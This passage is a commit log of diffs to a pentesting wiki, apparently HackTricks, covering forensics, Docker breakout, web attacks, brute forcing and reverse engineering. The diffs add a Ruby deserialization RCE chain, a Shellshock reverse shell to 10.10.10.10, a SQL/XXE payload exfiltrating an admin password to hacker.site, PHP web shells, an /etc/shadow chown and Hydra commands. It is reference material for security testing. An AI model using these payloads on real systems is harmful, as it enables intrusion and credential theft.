* \*\*\*\*[**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) ****- A little old and not updated
## **References**
* **All free courses of** [**@Jhaddix**](https://twitter.com/Jhaddix) **\(like** [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)**\)**

View File

@ -142,7 +142,7 @@ Some interesting attributes:
![](../../../.gitbook/assets/image%20%28521%29.png)
Another useful tool to analyze the MFT is [**MFT2csv**](https://github.com/jschicht/Mft2Csv).
Another useful tool to analyze the MFT is [**MFT2csv**](https://github.com/jschicht/Mft2Csv) ****\(select the mft file or the image and press dump all and extract to extract al the objects\).
This program will extract all the MFT data and present it in CSV format. It can also be used to dump the files.
![](../../../.gitbook/assets/image%20%28514%29.png)

View File

@ -413,7 +413,7 @@ Before Windows Vista the event logs were in binary format and after it, they are
The location of the event files can be found in the SYSTEM registry in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
They can be visualized from the Windows Event Viewer \(**`eventvwr.msc`**\) or with other tools like [**Event Log Explorer**](https://eventlogxp.com/)**.**
They can be visualized from the Windows Event Viewer \(**`eventvwr.msc`**\) or with other tools like [**Event Log Explorer**](https://eventlogxp.com/) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
### Security

View File

@ -16,7 +16,7 @@
### Last Access Time
* **`System\ControlSet001\Control \Filesystem`**: Last time access \(by default it's disabled with `NtfsDisableLastAccessUpdate=1`, if `0`, then, it's enabled\).
* **`System\ControlSet001\Control\Filesystem`**: Last time access \(by default it's disabled with `NtfsDisableLastAccessUpdate=1`, if `0`, then, it's enabled\).
* To enable it: `fsutil behavior set disablelastaccess 0`
### Shutdown Time

View File

@ -1,5 +1,15 @@
# Docker Breakout
## What is a container
In summary, it's an **isolated** **process** via **cgroups** \(what the process can use, like CPU and RAM\) and **namespaces** \(what the process can see, like directories or other processes\):
```bash
docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container
ps -ef | grep 1234 #Get info about the sleep process
ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)
```
## Mounted docker socket
If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.

View File

@ -1123,6 +1123,11 @@ Lets suppose the **`python`** binary has this capability, you can **change** the
python -c 'import os;os.chown("/etc/shadow",1000,1000)'
```
Or with the **`ruby`** binary having this capability:
```bash
ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'
```
### CAP\_FOWNER
**This means that it's possible to change the permission of any file.**

View File

@ -23,7 +23,7 @@ If the `img` tag is forbidden \(due to CSP for example\) you can also use `<meta
Note that **Chrome blocks HTTP URLs** with "&lt;" or "\n" in it, so you could try other protocol schemes like "ftp".
You can also abuse CSS `@import` \(will send all the code until it find a ":"\)
You can also abuse CSS `@import` \(will send all the code until it find a ";"\)
```markup
<style>@import//hackvertor.co.uk? <--- Injected

View File

@ -688,5 +688,76 @@ Ruby uses HMAC to sign the serialized object and saves the key on one of the fol
* config/secrets.yml
* /proc/self/environ
TODO: Review [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
Ruby 2.X generic deserialization to RCE gadget chain \(more info in [https://www.elttam.com/blog/ruby-deserialization/](https://www.elttam.com/blog/ruby-deserialization/)\):
```ruby
#!/usr/bin/env ruby
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
```
Other RCE chain to exploit Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)

View File

@ -330,6 +330,8 @@ Other possible log paths:
/var/log/httpd/error_log
```
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
### Via Email
Send a mail to a internal account \(user@localhost\) containing `<?php echo system($_REQUEST["cmd"]); ?>` and access to the mail _**/var/mail/USER&cmd=whoami**_

View File

@ -66,6 +66,7 @@ Other useful extensions:
### Bypass Content-Type & magic number
1. Bypass Content-Type checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
2. Bypass magic number check by adding at the beginning of the file the **bytes of a real image** \(confuse the _file_ command\). Or introduce the shell inside the **metadata**: `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`
1. It is also possible that the **magic bytes** are just being **checked** in the file and you could set them **anywhere in the file**.

View File

@ -247,6 +247,11 @@ If **no-other** exploitation method **worked**, you may try to make the **databa
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
### Out of band data exfiltration via XXE
```sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
```
## Automated Exploitation
Check the [SQLMap Cheetsheat](sqlmap/) to exploit a SQLi vulnerability with [**sqlmap**](https://github.com/sqlmapproject/sqlmap).

View File

@ -265,5 +265,10 @@ Entry_1:
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
Entry_2:
Name: Hydra Brute Force
Desctiption: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```

View File

@ -96,6 +96,6 @@ Entry_1:
Entry_2:
Name: Nmap
Description: Nmap with NFS Scripts
Command: nmap --script=nfs-ls.nse,nfs-showmount.nse,nfs-status.nse -p 2049 {IP}
Command: nmap --script=nfs-ls.nse,nfs-showmount.nse,nfs-statfs.nse -p 2049 {IP}
```

View File

@ -209,7 +209,7 @@ Entry_1:
Entry_2:
Name: Banner Grab
Description: Grab FTP Banner via telnet
Command: telnet -vn {IP} 21
Command: telnet -n {IP} 21
Entry_3:
Name: Cert Grab
@ -225,5 +225,10 @@ Entry_5:
Name: Browser Connection
Description: Connect with Browser
Note: ftp://anonymous:anonymous@{IP}
Entry_6:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp
```

View File

@ -374,5 +374,10 @@ Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -h {IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
```

View File

@ -111,5 +111,10 @@ Entry_4:
Name: Nmap
Description: Scan for POP info
Command: nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -p 110 {IP}
Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} -f {IP} pop3 -V
```

View File

@ -499,5 +499,10 @@ Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script smb-vuln* -Pn -p 139,445 {IP}
Entry_5:
Name: Hydra Brute Force
Desctiption: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
```

View File

@ -70,6 +70,29 @@ NTLM supported
Or **automate** this with **nmap** plugin `smtp-ntlm-info.nse`
### Internal server name - Information disclosure
Some SMTP servers auto-complete a sender's address when command "MAIL FROM" is issued without a full address, disclosing its internal name:
```
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
```
### Sniffing
Check if you sniff some password from the packets to port 25
@ -484,5 +507,10 @@ Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
```

View File

@ -210,5 +210,10 @@ Entry_4:
Name: Nmap
Description: Nmap snmp (no brute)
Command: nmap --script "snmp* and not snmp-brute" {IP}
Entry_5:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} -v {IP} snmp
```

View File

@ -275,3 +275,15 @@ id_rsa
* You can find interesting guides on how to harden SSH in [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening_guides.html)
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
## HackTricks Automatic Commands
```text
Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening
Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 -u {IP} ssh
```

View File

@ -0,0 +1,92 @@
# 403 & 401 Bypasses
## HTTP Verbs/Methods Fuzzing
Try using **different verbs** to access the file: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
* Check the response headers, maybe some information can be given. For example, a **200 response** to **HEAD** with `Content-Length: 55` means that the **HEAD verb can access the info**. But you still need to find a way to exfiltrate that info.
* Using a HTTP header like `X-HTTP-Method-Override: PUT` can overwrite the verb used.
## HTTP Headers Fuzzing
* **Change Host header** to some arbitrary value \([that worked here](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)\)
* Try to [**use other User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) to access the resource.
* **Fuzz HTTP Headers**: Try using HTTP Proxy **Headers**, HTTP Authentication Basic and NTLM brute-force \(with a few combinations only\) and other techniques. To do all of this I have created the tool [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
* `X-Originating-IP: 127.0.0.1`
* `X-Forwarded-For: 127.0.0.1`
* `X-Forwarded: 127.0.0.1`
* `Forwarded-For: 127.0.0.1`
* `X-Remote-IP: 127.0.0.1`
* `X-Remote-Addr: 127.0.0.1`
* `X-ProxyUser-Ip: 127.0.0.1`
* `X-Original-URL: 127.0.0.1`
* `Client-IP: 127.0.0.1`
* `True-Client-IP: 127.0.0.1`
* `Cluster-Client-IP: 127.0.0.1`
* `X-ProxyUser-Ip: 127.0.0.1`
If the **path is protected** you can try to bypass the path protection using these other headers:
* `X-Original-URL: /admin/console`
* `X-Rewrite-URL: /admin/console`
* If the page is **behind a proxy**, maybe it's the proxy the one preventing you you to access the private information. Try abusing [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling.md) **or** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
* Fuzz [**special HTTP headers**](special-http-headers.md) looking for different response.
* **Fuzz special HTTP headers** while fuzzing **HTTP Methods**.
## Path **Fuzzing**
If _/path_ is blocked:
* Try using _**/**_**%2e/**path _\(if the access is blocked by a proxy, this could bypass the protection\). Try also_ /**%252e**/path \(double URL encode\)
* Try **Unicode bypass**: _/**%ef%bc%8f**path_ \(The URL encoded chars are like "/"\) so when encoded back it will be _//path_ and maybe you will have already bypassed the _/path_ name check
* **Other path bypasses**:
* site.com/secret &gt; HTTP 403 Forbidden
* site.com/SECRET &gt; HTTP 200 OK
* site.com/secret/ &gt; HTTP 200 OK
* site.com/secret/. &gt; HTTP 200 OK
* site.com//secret// &gt; HTTP 200 OK
* site.com/./secret/.. &gt; HTTP 200 OK
* site.com/;/secret &gt; HTTP 200 OK
* site.com/.;/secret &gt; HTTP 200 OK
* site.com//;//secret &gt; HTTP 200 OK
* site.com/secret.json &gt; HTTP 200 OK \(ruby\)
* Use all [**this list**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) in the following situations:
* /FUZZsecret
* /FUZZ/secret
* /secretFUZZ
* **Other API bypasses:**
* /v3/users\_data/1234 --&gt; 403 Forbidden
* /v1/users\_data/1234 --&gt; 200 OK
* {“id”:111} --&gt; 401 Unauthriozied
* {“id”:\[111\]} --&gt; 200 OK
* {“id”:111} --&gt; 401 Unauthriozied
* {“id”:{“id”:111}} --&gt; 200 OK
* {"user\_id":"&lt;legit\_id&gt;","user\_id":"&lt;victims\_id&gt;"} \(JSON Parameter Pollution\)
* user\_id=ATTACKER\_ID&user\_id=VICTIM\_ID \(Parameter Pollution\)
## **Other Bypasses**
* Try to **stress the server** sending common GET requests \([It worked for this guy wit Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)\).
* **Change the protocol**: from http to https, or for https to http
* Go to [**https://archive.org/web/**](https://archive.org/web/) and check if in the past that file was **worldwide accessible**.
## **Brute Force**
* **Guess the password**: Test the following common credentials. Do you know something about the victim? Or the CTF challenge name?
* [**Brute force**](../../brute-force.md#http-brute)**:** Try basic, digest and NTLM auth.
{% code title="Common creds" %}
```text
admin admin
admin password
admin 1234
admin admin1234
admin 123456
root toor
test test
guest guest
```
{% endcode %}

View File

@ -280,71 +280,16 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri
* If you find **API endpoints** you [should also test them](web-api-pentesting.md). These aren't files, but will probably "look like" them.
* **JS files**: In the spidering section several tools that can extract path from JS files were mentioned. Also, It would be interesting to **monitor each JS file found**, as in some ocations, a change may indicate that a potential vulnerability was introduced in the code. You could use for example [**JSMon**](https://github.com/robre/jsmon)**.**
* You should also check discovered JS files with [**RetireJS**](https://github.com/retirejs/retire.js/) or [**JSHole**](https://github.com/callforpapers-source/jshole) to find if it's vulnerable.
* **Javascript Deobfuscator and Unpacker** \([https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/)\)
* **Javascript Beautifier** \([http://jsbeautifier.org/](https://beautifier.io/)\)
* **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io/), [http://jsnice.org/](http://jsnice.org/)
* **JsFuck deobfuscation** \(javascript with chars:"\[\]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)\)
* \*\*\*\*[**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
* In several occasions you will need to **understand regular expressions** used, this will be useful: [https://regex101.com/](https://regex101.com/)
* You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality.
#### 403 Forbidden/Basic Authentication/401 Unauthorized \(bypass\)
* Try using **different verbs** to access the file: _GET, POST, INVENTED_
* If _/path_ is blocked, try using _**/**_**%2e/**path _\(if the access is blocked by a proxy, this could bypass the protection\). Try also_ /**%252e**/path \(double URL encode\)
* Try Unicode bypass: _/**%ef%bc%8f**path_ \(The URL encoded chars are like "/"\) so when encoded back it will be _//path_ and maybe you will have already bypassed the _/path_ name check
* Try to **stress the server** sending common GET requests \([It worked for this guy wit Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)\).
* **Change the protocol**: from http to https, or for https to http
* **Change Host header** to some arbitrary value \([that worked here](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)\)
* **Other path bypasses**:
* site.com/secret &gt; HTTP 403 Forbidden
* site.com/SECRET &gt; HTTP 200 OK
* site.com/secret/ &gt; HTTP 200 OK
* site.com/secret/. &gt; HTTP 200 OK
* site.com//secret// &gt; HTTP 200 OK
* site.com/./secret/.. &gt; HTTP 200 OK
* site.com/;/secret &gt; HTTP 200 OK
* site.com/.;/secret &gt; HTTP 200 OK
* site.com//;//secret &gt; HTTP 200 OK
* site.com/secret.json &gt; HTTP 200 OK \(ruby\)
* Use all [**this list**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) in the following situations:
* /FUZZsecret
* /FUZZ/secret
* /secretFUZZ
* **Other bypasses:**
* /v3/users\_data/1234 --&gt; 403 Forbidden
* /v1/users\_data/1234 --&gt; 200 OK
* {“id”:111} --&gt; 401 Unauthriozied
* {“id”:\[111\]} --&gt; 200 OK
* {“id”:111} --&gt; 401 Unauthriozied
* {“id”:{“id”:111}} --&gt; 200 OK
* {"user\_id":"&lt;legit\_id&gt;","user\_id":"&lt;victims\_id&gt;"} \(JSON Parameter Pollution\)
* user\_id=ATTACKER\_ID&user\_id=VICTIM\_ID \(Parameter Pollution\)
* Go to [https://archive.org/web/](https://archive.org/web/) and check if in the past that file was **worldwide accessible**.
* Try to [**use other User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) to access the resource.
* **Fuzz the page**: Try using HTTP Proxy **Headers**, HTTP Authentication Basic and NTLM brute-force \(with a few combinations only\) and other techniques. To do all of this I have created the tool [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
* `X-Originating-IP: 127.0.0.1`
* `X-Forwarded-For: 127.0.0.1`
* `X-Remote-IP: 127.0.0.1`
* `X-Remote-Addr: 127.0.0.1`
* `X-ProxyUser-Ip: 127.0.0.1`
* `X-Original-URL: 127.0.0.1`
* If the **path is protected** you can try to bypass the path protection using these other headers:
* `X-Original-URL: /admin/console`
* `X-Rewrite-URL: /admin/console`
* **Guess the password**: Test the following common credentials. Do you know something about the victim? Or the CTF challenge name?
* [**Brute force**](../../brute-force.md#http-brute)**:** Try basic, digest and NTLM auth.
{% code title="Common creds" %}
```text
admin admin
admin password
admin 1234
admin admin1234
admin 123456
root toor
test test
guest guest
```
{% endcode %}
{% page-ref page="403-and-401-bypasses.md" %}
#### 502 Proxy Error
@ -428,5 +373,10 @@ Entry_10:
Command: |
?What is the location of the wp-login.php? Example: /Yeet/cannon/wp-login.php
wpscan --url {Web_Proto}://{IP}{1} --enumerate ap,at,cb,dbe && wpscan --url {Web_Proto}://{IP}{1} --enumerate u,tt,t,vp --passwords {Big_Passwordlist} -e
Entry_11:
Name: WordPress Hydra Brute Force
Description: Need User (admin is default)
Command: hydra -l admin -P {Big_Passwordlist} {IP} -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
```

View File

@ -23,12 +23,15 @@ Most tests are based in echo something and expect that that string is returned i
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```
#### **Curl \(refelcted and blind\)**
#### **Curl \(reflected, blind and out-of-band\)**
```bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
#Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
```
\*\*\*\*[**Shellsocker**](https://github.com/liamim/shellshocker)\*\*\*\*

View File

@ -2,12 +2,15 @@
## General
[**https://owasp.org/www-community/Source\_Code\_Analysis\_Tools**](https://owasp.org/www-community/Source_Code_Analysis_Tools#)\*\*\*\*
```bash
https://www.sonarqube.org/downloads/
https://deepsource.io/signup/
https://github.com/pyupio/safety
https://github.com/returntocorp/semgrep
https://github.com/WhaleShark-Team/cobra
https://github.com/insidersec/insider
# Find interesting strings
https://github.com/s0md3v/hardcodes

View File

@ -31,6 +31,18 @@ Accessing _/user/&lt;number&gt;_ you can see the number of existing users, in th
**Fuzz `/node/$` where `$` is a number** \(from 1 to 500 for example\).
You could find **hidden pages** \(test, dev\) which are not referenced by the search engines.
### Installed modules info
```bash
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
```
## Code execution inside Drupal with admin creds
You need the **plugin php to be installed** \(check it accessing to _/modules/php_ and if it returns a **403** then, **exists**, if **not found**, then the **plugin php isn't installed**\)

View File

@ -0,0 +1,109 @@
# Special HTTP headers
## Wordlists
* [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/web/http-request-headers)
## Headers to Change Location
Rewrite **IP source**:
* `X-Originating-IP: 127.0.0.1`
* `X-Forwarded-For: 127.0.0.1`
* `X-Forwarded: 127.0.0.1`
* `Forwarded-For: 127.0.0.1`
* `X-Remote-IP: 127.0.0.1`
* `X-Remote-Addr: 127.0.0.1`
* `X-ProxyUser-Ip: 127.0.0.1`
* `X-Original-URL: 127.0.0.1`
* `Client-IP: 127.0.0.1`
* `True-Client-IP: 127.0.0.1`
* `Cluster-Client-IP: 127.0.0.1`
* `X-ProxyUser-Ip: 127.0.0.1`
* `Via: 1.0 fred, 1.1 127.0.0.1`
* `Connection: close, X-Forwarded-For` \(Check hop-by-hop headers\)
Rewrite **location**:
* `X-Original-URL: /admin/console`
* `X-Rewrite-URL: /admin/console`
## Hop-by-Hop headers
A hop-by-hop header is a header which is designed to be processed and consumed by the proxy currently handling the request, as opposed to an end-to-end header.
* `Connection: close, X-Forwarded-For`
{% page-ref page="../../pentesting-web/abusing-hop-by-hop-headers.md" %}
## HTTP Request Smuggling
* `Content-Length: 30`
* `Transfer-Encoding: chunked`
{% page-ref page="../../pentesting-web/http-request-smuggling.md" %}
## Cache Headers
**Server Cache Headers**:
* **`X-Cache`** in the response may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached
* **`Cache-Control`** indicates if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800`
* **`Vary`** is often used in the response to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed.
* **`Age`** defines the times in seconds the object has been in the proxy cache.
{% page-ref page="../../pentesting-web/cache-deception.md" %}
**Local Cache headers**:
* `Clear-Site-Data`: Header to indicate the cache that should be removed: `Clear-Site-Data: "cache", "cookies"`
* `Expires`: Contains date/time when the response should expire: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
* `Pragma: no-cache` same as `Cache-Control: no-cache`
* `Warning`: The **`Warning`** general HTTP header contains information about possible problems with the status of the message. More than one `Warning` header may appear in a response. `Warning: 110 anderson/1.3.37 "Response is stale"`
## Conditionals
* Requests using these headers: **`If-Modified-Since`** and **`If-Unmodified-Since`** will be responded with data only if the response header**`Last-Modified`** contains a different time.
* Conditional requests using **`If-Match`** and **`If-None-Match`** use an Etag value so the web server will send the content of the response if the data \(Etag\) has changed. The `Etag` is taken from the HTTP response.
* The **Etag** value is usually **calculated based** on the **content** of the response. For example, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indicates that the `Etag` is the **Sha1** of **37 bytes**.
## Range requests
* **`Accept-Ranges`**: Indicates if the server supports range requests, and if so in which unit the range can be expressed. `Accept-Ranges: <range-unit>`
* **`Range`**: Indicates the part of a document that the server should return.
* **`If-Range`**: Creates a conditional range request that is only fulfilled if the given etag or date matches the remote resource. Used to prevent downloading two ranges from incompatible version of the resource.
* **`Content-Range`**: Indicates where in a full body message a partial message belongs.
## Message body information
* **`Content-Length`:** The size of the resource, in decimal number of bytes.
* **`Content-Type`**: Indicates the media type of the resource
* **`Content-Encoding`**: Used to specify the compression algorithm.
* **`Content-Language`**: Describes the human language\(s\) intended for the audience, so that it allows a user to differentiate according to the users' own preferred language.
* **`Content-Location`**: Indicates an alternate location for the returned data.
From a pentest point of view this information is usually "useless", but if the resource is **protected** by a 401 or 403 and you can find some **way** to **get** this **info**, this could be **interesting.**
For example a combination of **`Range`** and **`Etag`** in a HEAD request can leak the content of the page via HEAD requests:
* A request with the header `Range: bytes=20-20` and with a response containing `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` is leaking that the SHA1 of the byte 20 is `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
## Server Info
* `Server: Apache/2.4.1 (Unix)`
* `X-Powered-By: PHP/5.3.3`
## Controls
* **`Allow`:** Lists the set of methods supported by a resource. `Allow: GET, POST, HEAD`
* **`Expect`**: The **`Expect`** HTTP request header indicates expectations that need to be fulfilled by the server in order to properly handle the request.
* No other expectations except `Expect: 100-continue` are specified currently. Informs recipients that the client is about to send a \(presumably large\) message body in this request and wishes to receive a [`100`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/100) \(Continue\) interim response.
## Downloads
* **`Content-Disposition`**: In a regular HTTP response, the **`Content-Disposition`** response header is a header indicating if the content is expected to be displayed _inline_ in the browser, that is, as a Web page or as part of a Web page, or as an _attachment_, that is downloaded and saved locally.
* `Content-Disposition: attachment; filename="filename.jpg"`
## Resources
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)

View File

@ -104,7 +104,7 @@ If you send regular POST data, try to send arrays and dictionaries:
### Check possible versions
Old versions may be still be in use and be more vulenrable than latest endpoints
Old versions may be still be in use and be more vulnerable than latest endpoints
* `/api/v1/login`
* `/api/v2/login`

View File

@ -15,8 +15,8 @@ It's enough to **generate a list of the most probable phishing names** that an a
For this purpose you can use any of the following tools. Note that these tolls will also perform DNS requests automatically to check if the domain has any IP assigned to it:
* \*\*\*\*[**dnstwist**](https://github.com/elceef/dnstwist)\*\*\*\*
* [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)\*\*\*\*
* [**dnstwist**](https://github.com/elceef/dnstwist)
* [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
### Bitflipping

View File

@ -226,10 +226,26 @@ To find the **entry point** search the functions by `::main` like in:
In this case the binary was called authenticator, so it's pretty obvious that this is the interesting main function.
Having the **name** of the **functions** being called, search for them on the **Internet** to learn about their **inputs** and **outputs**.
## Delphi
## **Delphi**
For Delphi compiled binaries you can use [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
I you have to reverse a Delphi binary I would suggest you to use the IDA plugin [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)\*\*\*\*
Just press **ATL+f7** \(import python plugin in IDA\) and select the python plugin.
This plugin will execute the binary and resolve function names dynamically at the start of the debugging. After starting the debugging press again the Start button \(the green one or f9\) and a breakpoint will hit in the beginning of the real code.
It is also very interesting because if you press a button in the graphic application the debugger will stop in the function executed by that bottom.
## Golang
I you have to reverse a Golang binary I would suggest you to use the IDA plugin [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
Just press **ATL+f7** \(import python plugin in IDA\) and select the python plugin.
This will resolve the names of the functions.
## GBA - Game Body Advance
If you get the **binary** of a GBA game you can use different tools to **emulate** and **debug** it:

View File

@ -204,3 +204,7 @@ True
Furthermore, you can use `proj.hook_symbol(name, hook)`, providing the name of a symbol as the first argument, to hook the address where the symbol lives
## Examples

View File

@ -0,0 +1,837 @@
# Angr - Examples
{% hint style="info" %}
If the program is using **`scanf`** to get **several values at once from stdin** you need to generate a state that starts after the **`scanf`**.
{% endhint %}
### Input to reach address \(indicating the address\)
```python
import angr
import sys
def main(argv):
path_to_binary = argv[1] # :string
project = angr.Project(path_to_binary)
# Start in main()
initial_state = project.factory.entry_state()
# Start simulation
simulation = project.factory.simgr(initial_state)
# Find the way yo reach the good address
good_address = 0x804867d
# Avoiding this address
avoid_address = 0x080485A8
simulation.explore(find=good_address , avoid=avoid_address ))
# If found a way to reach the address
if simulation.found:
solution_state = simulation.found[0]
# Print the string that Angr wrote to stdin to follow solution_state
print(solution_state.posix.dumps(sys.stdin.fileno()))
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
```
### Input to reach address \(indicating prints\)
```python
# If you don't know the address you want to recah, but you know it's printing something
# You can also indicate that info
import angr
import sys
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)
initial_state = project.factory.entry_state()
